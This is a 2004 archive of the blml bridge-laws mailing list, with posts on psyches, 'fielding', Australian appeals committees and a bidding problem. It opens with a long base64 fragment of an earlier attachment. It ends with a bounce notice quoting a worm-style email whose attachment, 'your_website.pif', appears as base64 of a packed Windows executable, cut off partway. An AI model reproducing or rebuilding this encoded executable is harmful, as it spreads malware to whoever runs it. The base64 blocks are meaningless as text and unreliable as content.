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 ------=_NextPart_000_0014_000011FE.000042AB-- From wayne.burrows@xtra.co.nz Sat Mar 27 23:32:10 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 28 Mar 2004 11:32:10 +1200 Subject: [blml] Psyches In-Reply-To: <74F7917B-7F4D-11D8-AE67-0030656F6826@rochester.rr.com> Message-ID: <000701c41453$baa67a10$d82d37d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ed Reppert > Sent: Saturday, 27 March 2004 5:46 a.m. > To: blml > Subject: Re: [blml] Psyches > > > At the moment, I'm afraid, bridge has dropped somewhere south > of the equator on my priority list, so I give up. 'dropped' and 'south of the equator' seem oxymoronic to me. ;-) Wayne > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Sun Mar 28 01:46:44 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sun, 28 Mar 2004 11:46:44 +1000 Subject: [blml] Servant of the secret fire Message-ID: Spingold Final. Your side is trailing by 53 imps with only 16 boards to play. Dlr: N Vul: EW WEST NORTH EAST SOUTH --- Pass Pass ? You, South, hold: JT87 53 JT62 J98 What call do you make? What other calls do you consider making? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Sun Mar 28 03:08:02 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sun, 28 Mar 2004 12:08:02 +1000 Subject: [blml] treat non-offenders severely Message-ID: David Stevenson wrote: >>>When I suggested this seemed unreasonable, Rich >>>Colker said to me: >>> >>>"You do not understand, David, in North America >>>there is a lot of professionalism, and that is >>>why we do this." >>> >>>No, I do not understand! Ed Reppert asked: >>Nor do I. "Professionalism"? What the heck is that >>supposed to mean? David Stevenson relevanced: >I understood him to mean that meant a lot of >professionals were playing with clients. Not that >I understand the relevance. Richard James Hills reveals: Some appeals committees in Australia have a rather peculiar idea of what constitutes equity. They seem to believe that professional/expert non-offending players should not gain "windfalls" for some infractions of Law by bunny players. In an earlier thread, I revealed how an Oz appeals committee believed that Law 16 should apply with only 50% force against a bunny offending side. In an even earlier thread, I revealed how an Oz appeals committee wished to split a score, with the infracting bunny pair receiving a Law 16 adjustment, but with my non-offending partnership retaining the table score. (On that occasion, the CTD ordered the AC to think again. The AC then reversed itself by ruling that Law 16 had not been infracted, but it still achieved its predetermined outcome by imposing a hefty PP on the bunny pair for its infraction of alert rules.) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From cibor@poczta.fm Sun Mar 28 03:32:26 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Sat, 27 Mar 2004 19:32:26 -0700 Subject: [blml] Servant of the secret fire References: Message-ID: <000601c4146c$ee198590$868495ce@ams.com> I pass but I seriously consider bidding 1S. Konrad Ciborowski Krakow, Poland ----- Original Message ----- From: To: Sent: Saturday, March 27, 2004 6:46 PM Subject: [blml] Servant of the secret fire Spingold Final. Your side is trailing by 53 imps with only 16 boards to play. Dlr: N Vul: EW WEST NORTH EAST SOUTH --- Pass Pass ? You, South, hold: JT87 53 JT62 J98 What call do you make? What other calls do you consider making? Best wishes Richard James Hills ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml ---------------------------------------------------------------------- www.interia.pl : przyjazny portal >>> http://link.interia.pl/f17de From blml@wellsborocomputing.com Sun Mar 28 05:51:04 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sat, 27 Mar 2004 23:51:04 -0500 Subject: [blml] destroy the village to save it In-Reply-To: <008401c41477$81b1e680$109468d5@tinyhrieuyik> References: <143101c413b2$7e7f60c0$719868d5@tinyhrieuyik> <00b801c413f6$6dd9f660$7a9468d5@tinyhrieuyik> <3nva60p4ccbntnqssi3i1r4mpkoj2dtaar@4ax.com> <008401c41477$81b1e680$109468d5@tinyhrieuyik> Message-ID: On Sun, 28 Mar 2004 04:48:16 +0100, Nigel Guthrie wrote: >[Brian Meadows] >Either your "standard" system will end up like SAYC and not >defined in anywhere like sufficient detail (you only have to read >OKBridge's mailing list for proof of that), or else it comes out >in book form, and very few people will bother to read it, let >alone learn it. > >[Nigel] > >1. One thing always puzzles me about Brian's kind of argument: >Whatever system you play, why would a sane player ever want to >make a call with absolutely no implicit agreed meaning? >-- not a suggestion to be the final contract? >-- not even a mark-time bid to keep the bidding open (what the >Sharples Brothers termed "an impulse bid")? > And what puzzles me, Nigel, is why you think this is remotely relevant. You've suggested that, if a player doesn't know what his partnership agreement is, he should be compelled to guess. In that case, why does the reason your partner had (OK, if any!) for making the bid in the first place matter in the slightest? Maybe you didn't read the notes fully. Maybe he didn't read the notes fully. Maybe one or the other of you have forgotten what you read. Maybe your partner thinks something that he usually plays is in the notes, when it actually isn't (I wish I had a pound for every "SAYC' player who thinks transfers are still on after your pard opens 1NT and next hand doubles, for example). Maybe one or the other of you have had a beer or two too many. What does it matter? If you had your way, you still have to guess, even with nothing to go on. A regular partnership already has an enormous advantage over a pickup pair of equal ability. Why do you want to increase that advantage still further? >2. However simple a system is, it can define defaults for any >kind of call not already covered (e.g. all other kinds of call >are suggestions for the final contract). > Which is obviously a rather silly default. For example, let's take an SAYC sequence (opps silent) 1H-2H-3C. Now, AFAIR (and I haven't checked, SAYC is not my strong point) the SAYC notes are silent as to whether that's a long suit trial, a short suit trial or a help suit trial - but the one thing I guarantee that it isn't is a suggestion that you should play 3C! >3. Few sensible Bridge players like 2/1 with all the bizarre >USA accoutrements like Bergen, Drury and Smolen. Nevertheless, >with thousands of others, I am happy to try to assimilate them >all -- as a necessary price for enjoying on-line Bridge. > I have no idea where you play your online bridge, but if knowledge of 2/1 is a pre-requisite for playing on either OKBridge or Bridge Base Online, then it comes as news to me. SAYC, yes, unless you limit your play to one of BBO's clubs, such as the Acol one that a friend of mine helped set up recently. 2/1, no way. >4. IMO, it would be even more worthwhile to learn a WBF approved >standard system, that you could use for teaching bridge, pickup >partnerships, individual competitions, "no-fear" tournaments, >on-line bridge and so on. (Especially if that was the system >from which the law mandated that you explain departures). > So if someone doesn't want to play this standard system of yours, which I suspect would be the case in the majority of partnerships if you didn't pick SAYC, what you'll do is to greatly increase the number of alerts required? Can you imagine this if SAYC (for sake of argument) were your standard system? You're going to make every bridge player in the UK learn SAYC so they know what to alert while they're playing Acol? I don't even want to think about how that would be received in Poland. >5. I hope I'm wrong but I fear that if the WBFLC does not allow >some legal rationalisation and simplification, then on-line Bridge >will almost completely take over from face-to face bridge. > It may be of interest to those who don't play online bridge to note that at least two of the largest online services (OKBridge and Bridge Base Online) have *no* systems restrictions. You can play what you like, subject to full disclosure of course. Given that fact, it seems to me that Nigel's "rationalisation and simplification" would logically tend to cause more people to change to online bridge, rather than less. Brian. From ardelm@bigpond.net.au Sun Mar 28 04:14:45 2004 From: ardelm@bigpond.net.au (Tony Musgrove) Date: Sun, 28 Mar 2004 13:14:45 +1000 Subject: [blml] Servant of the secret fire In-Reply-To: References: Message-ID: <6.0.3.0.2.20040328131223.039e52d0@pop-server.bigpond.net.au> >RJH usual problem: >Spingold Final. >Your side is trailing by 53 imps with >only 16 boards to play. > >Dlr: N >Vul: EW > >WEST NORTH EAST SOUTH >--- Pass Pass ? > >You, South, hold: > >JT87 >53 >JT62 >J98 > >What call do you make? >What other calls do you consider making? > >Best wishes > >Richard James Hills This is a standard 1H opening in the De Wael School, so I open 1H (it apparently guarantees a good result). Problem is that I have already done this once in the current session, hence the 53 imps in the withdrawal column. Tony (Sydney) From grandeval@vejez.fsnet.co.uk Sun Mar 28 09:08:43 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sun, 28 Mar 2004 09:08:43 +0100 Subject: [blml] Psyches References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> <4062DDAF.8060308@hdw.be> <4062FB02.5030903@hdw.be> Message-ID: <001001c4149c$54d02f80$70c4193e@4nrw70j> Grattan Endicott To: "blml" Sent: Thursday, March 25, 2004 3:30 PM Subject: Re: [blml] Psyches > > > > The normal usage should not be counted using > a sample of only English Bridge players who > don't realize that they are using a word with > connotations it should not have. > > What do you call it when I realize, from the > bidding and my hand, that my partner has psyched, > and make a bid not normally consistent with the a > priori meaning of the bidding so far? I can give you > a number of occasions in which this action should > not be deemed illegal, yet you seem to be using > only one word, fielding, and you seem to be saying > that fielding is illegal. So give me another word. Or > use fielding in a more general sense and accept that > not all fielding is illegal. > +=+ Herman is right. The use of 'fielding' restricting the meaning, in relation to psychics, to illegal actions is correct where the Orange Book applies because the word is defined in the OB (6.2.1). Elsewhere the word needs to be accompanied by a defining limitation. 'illegal' does it, or "fielding, with its OB meaning" would do it, which I think could be abbreviated by use of 'OB fielding'. Where the psyche is evident to the player from legal inferences the word 'fielding' does not apply under the OB. It is indeed 'not fielded', and to clarify one may go on to say 'since the player has evidence of the psyche from information lawfully available to him'. ~ Grattan ~ +=+ From j.c.schwarz@t-online.de Sun Mar 28 09:51:37 2004 From: j.c.schwarz@t-online.de (=?iso-8859-1?Q?J=F6rg_Schwarz?=) Date: Sun, 28 Mar 2004 10:51:37 +0200 Subject: WG: [blml] Servant of the secret fire Message-ID: <1B7W1b-08qaZM0@fwd03.sul.t-online.com> Since this is the hand i am waiting for years to come (3rd hand non vol = 3 points)and i never had to chance to psyche, i open 1 NT (p does not know = of my secret dreams)=20 -----Urspr=FCngliche Nachricht----- Von: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] Im Auftrag von richard.hills@immi.gov.au Gesendet: Sonntag, 28. M=E4rz 2004 03:47 An: blml@rtflb.org Betreff: [blml] Servant of the secret fire Spingold Final. Your side is trailing by 53 imps with only 16 boards to play. Dlr: N Vul: EW WEST NORTH EAST SOUTH --- Pass Pass ? You, South, hold: JT87 53 JT62 J98 What call do you make? What other calls do you consider making? Best wishes Richard James Hills -------------------------------------------------------------------------= --- ---------- Important Warning: If you have received this email in error, please = advise the sender and delete the message and attachments immediately. =A0This = email, including attachments, may contain confidential, legally privileged = and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, = except where the sender expressly, and with authority, states them to be the = view of the Department of Immigration and Multicultural and Indigenous = Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations under the = Privacy Act 1988 (see www.immi.gov.au). -------------------------------------------------------------------------= --- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From t.kooyman@worldonline.nl Sun Mar 28 10:41:53 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 28 Mar 2004 11:41:53 +0200 Subject: [blml] Psyches References: Message-ID: <00a301c414aa$0ebf2420$91f8f1c3@LNV> *** why do you complain? it's not a matter of law but a matter of ebu's regulations. they seemed to need something to regulate psyches, they chose this sort of "rule of coincidence": they define what is "fielding" and when there is "fielding" they score 30/60. it fits the british way of life, all ebu members are happy with it, they don't insist to extend it to other SO. where is the problem? -- Herman DE WAEL Well, once in a while I get the impression that they would like to extend their jurisdiction, ton From Mailer-Daemon@plain.rackshack.net Sun Mar 28 11:27:54 2004 From: Mailer-Daemon@plain.rackshack.net (Mail Delivery System) Date: Sun, 28 Mar 2004 04:27:54 -0600 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: 20nukewinter@nukewinter.com This message has been rejected because it has a potentially executable attachment "your_website.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.169.205] (helo=nukewinter.com) by plain.rackshack.net with esmtp (Exim 4.24) id 1B7XWB-0002IB-4T for 20nukewinter@nukewinter.com; Sun, 28 Mar 2004 04:27:51 -0600 From: blml@rtflb.org To: 20nukewinter@nukewinter.com Subject: Re: Your website Date: Sun, 28 Mar 2004 11:28:08 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0004_00004A74.00006A8C" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: This is a multi-part message in MIME format. ------=_NextPart_000_0004_00004A74.00006A8C Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Here is the file. ------=_NextPart_000_0004_00004A74.00006A8C Content-Type: application/octet-stream; name="your_website.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_website.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 